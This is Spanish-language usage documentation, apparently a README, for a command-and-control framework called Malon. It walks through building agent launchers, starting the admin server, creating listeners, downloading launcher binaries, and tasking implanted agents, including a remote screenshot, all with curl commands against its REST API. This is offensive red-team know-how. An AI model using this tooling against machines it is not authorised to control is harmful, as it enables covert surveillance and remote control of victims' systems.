Administracion de C2

Malon es manejado a través de una REST API, en esta sección encontrarás los componentes que usaremos para su desarrollo.

REST APIs

El estilo de arquitectura de software utilizado por REST esta diseñado para aplicaciones basada en conexiones de redes. Las APIs HTTP RESTful utilizan los métodos de HTTP para realizar acciones sobre los recursos de la aplicación

Malon LP

Compilación y alistamiento de launchers (Agents)

$ cd agent
$ make build # command to build in all platforms
$ make copy # copy files to the corresponding administration folder
$ cd ..

Instalación de requerimientos para interfaz de administración

$ cd malon_lp
$ pip install -r requirements.txt

Administración

$ rm malon.db # reiniciar base de datos
$ python3 -m malon_lp

ADMINISTRACIÓN DE LISTENER

Endpoint

método

Descripción

/listeners/

POST

Instanciacion de Listener

/listeners/

GET

Obtiene los listeners publicados

$ curl localhost:5000/listeners/ -d '{"type": "http", "bind_host": "127.0.0.1", "bind_port": 8080, "target_host": "127.0.0.1", "target_port": 8080, "sym_key": "c29tZSByYW5kb20ga2V5IQ=="}' -H'Content-Type: application/json'

ADMINISTRACIÓN DE LAUNCHERS

Endpoint

metodo

Descripcion

/listeners/{id}/launcher/{plataforma}

GET

Obtiene un launcher

$ curl localhost:5000/listeners/1/launcher/x64-linux -o launcher.elf

ADMINISTRACIÓN DE AGENTES

Endpoint

metodo

Descripcion

/agents/

GET

Obtiene los agentes activos

/agents/{id}/tasks/

GET

Obtiene las tareas para el agente seleccionado

/agents/{id}/tasks/

POST

crea una tarea para el agente seleccionado

/agents/{id}/tasks/{id}/result

GET

Obtiene el resultado de la tarea seleccionada

CLI

Es posible interactuar con un Agente enviándole tareas a través de un simple script utilitario.

$ cd cli
$ python cli.py http://127.0.0.1:5000 68bf60312d85bbee7a4153909bad9906

Pasos para tomar un screenshot

  1. Crear una task screenshot curl localhost:5000/agents/<AGENT_ID>/tasks/ -d '{"type": "screenshot", "info": {"display": 0}}' -H'Content-Type: application/json'

  2. Obtener screenshot (es necesario el TASK_ID que devuelve el post anterior) curl localhost:5000/agents/<AGENT_ID>/tasks/<TASK_ID>/output -o screenshot.png

Última actualización